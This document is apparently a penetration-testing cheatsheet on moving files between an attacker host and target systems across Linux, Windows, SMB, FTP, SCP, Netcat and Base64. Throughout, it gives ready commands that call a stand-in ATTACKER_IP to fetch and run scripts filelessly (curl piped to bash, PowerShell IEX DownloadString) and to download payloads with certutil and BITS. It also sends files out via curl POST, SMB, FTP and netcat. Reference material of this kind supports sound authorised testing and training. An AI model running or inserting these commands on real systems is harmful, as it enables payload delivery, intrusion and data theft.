Skip to content

File Transfers


Executive Summary

File transfer commands are used to move tools, payloads, scripts, evidence, and results between systems.

Use this cheatsheet for quick download, upload, and transfer syntax across Linux, Windows, HTTP, SMB, FTP, SCP, Netcat, and Base64.

HTTP Server

Start Python HTTP server:

python3 -m http.server 8000

Python 2:

python2 -m SimpleHTTPServer 8000

PHP server:

php -S 0.0.0.0:8000

Ruby server:

ruby -run -ehttpd . -p8000

Linux Downloads

Download with wget:

wget http://ATTACKER_IP:8000/file -O /tmp/file

Download with curl:

curl -o /tmp/file http://ATTACKER_IP:8000/file

Keep original filename:

curl -O http://ATTACKER_IP:8000/file

Fileless execution with curl:

curl http://ATTACKER_IP:8000/script.sh | bash

Fileless execution with wget:

wget -qO- http://ATTACKER_IP:8000/script.sh | bash

Windows Downloads

PowerShell download:

Invoke-WebRequest http://ATTACKER_IP:8000/file.exe -OutFile C:\Users\Public\file.exe

PowerShell WebClient:

(New-Object Net.WebClient).DownloadFile("http://ATTACKER_IP:8000/file.exe", "C:\Users\Public\file.exe")

PowerShell download string:

IEX (New-Object Net.WebClient).DownloadString("http://ATTACKER_IP:8000/script.ps1")

Certutil download:

certutil -urlcache -split -f http://ATTACKER_IP:8000/file.exe file.exe

BITS download:

Start-BitsTransfer -Source "http://ATTACKER_IP:8000/file.exe" -Destination "C:\Users\Public\file.exe"

SMB Transfers

Start SMB server:

sudo impacket-smbserver share /tmp/smbshare -smb2support

Start SMB server with credentials:

sudo impacket-smbserver share /tmp/smbshare -smb2support -user test -password test

Copy from SMB share:

copy \\ATTACKER_IP\share\file.exe C:\Users\Public\file.exe

Map SMB drive:

net use Z: \\ATTACKER_IP\share /user:test test

Copy from mapped drive:

copy Z:\file.exe C:\Users\Public\file.exe

Copy to SMB share:

copy C:\Users\Public\result.txt Z:\

FTP Transfers

Start FTP server:

sudo python3 -m pyftpdlib --port 21

Start FTP server with upload support:

sudo python3 -m pyftpdlib --port 21 --write

Windows FTP download with PowerShell:

(New-Object Net.WebClient).DownloadFile("ftp://ATTACKER_IP/file.txt", "C:\Users\Public\file.txt")

Windows FTP upload with PowerShell:

(New-Object Net.WebClient).UploadFile("ftp://ATTACKER_IP/file.txt", "C:\Users\Public\file.txt")

SCP Transfers

Download from remote host:

scp user@REMOTE_IP:/path/file .

Upload to remote host:

scp file user@REMOTE_IP:/tmp/

Recursive copy:

scp -r directory user@REMOTE_IP:/tmp/

Specify SSH key:

scp -i key.pem file user@REMOTE_IP:/tmp/

Netcat Transfers

Receiver:

nc -lvnp 9001 > file.out

Sender:

nc TARGET_IP 9001 < file.in

Ncat receiver:

ncat -l -p 9001 --recv-only > file.out

Ncat sender:

ncat TARGET_IP 9001 --send-only < file.in

Base64 Transfers

Encode file:

base64 -w 0 file.bin

Decode on Linux:

echo "BASE64_STRING" | base64 -d > file.bin

Decode on Windows:

[IO.File]::WriteAllBytes("C:\Users\Public\file.bin", [Convert]::FromBase64String("BASE64_STRING"))

Verify on Linux:

md5sum file.bin

Verify on Windows:

Get-FileHash C:\Users\Public\file.bin -Algorithm MD5

Upload Server

Install upload server:

python3 -m pip install uploadserver

Start upload server:

python3 -m uploadserver 8000

Upload with curl:

curl -X POST http://ATTACKER_IP:8000/upload -F "files=@/tmp/file.txt"

WebDAV Upload

Start WebDAV server:

sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous

Upload from Windows:

copy C:\Users\Public\file.txt \\ATTACKER_IP\DavWWWRoot\

OpenSSL Protected Transfer

Encrypt before transfer:

openssl enc -aes256 -pbkdf2 -iter 100000 -in sensitive.txt -out sensitive.enc

Decrypt after transfer:

openssl enc -d -aes256 -pbkdf2 -iter 100000 -in sensitive.enc -out sensitive.txt

Quick Workflow

Need Method
Simple Linux download wget or curl
Simple Windows download PowerShell or certutil
Windows internal transfer SMB
SSH available SCP
No tools available Base64 copy/paste
Raw TCP transfer Netcat/Ncat
Upload over HTTP Python uploadserver
Sensitive data Encrypt first

Notes

  • Always verify file integrity after transfer.
  • Use HTTPS or encryption for sensitive files.
  • PowerShell and Certutil downloads are commonly monitored.
  • SMB may be blocked across network boundaries.
  • Base64 is encoding, not encryption.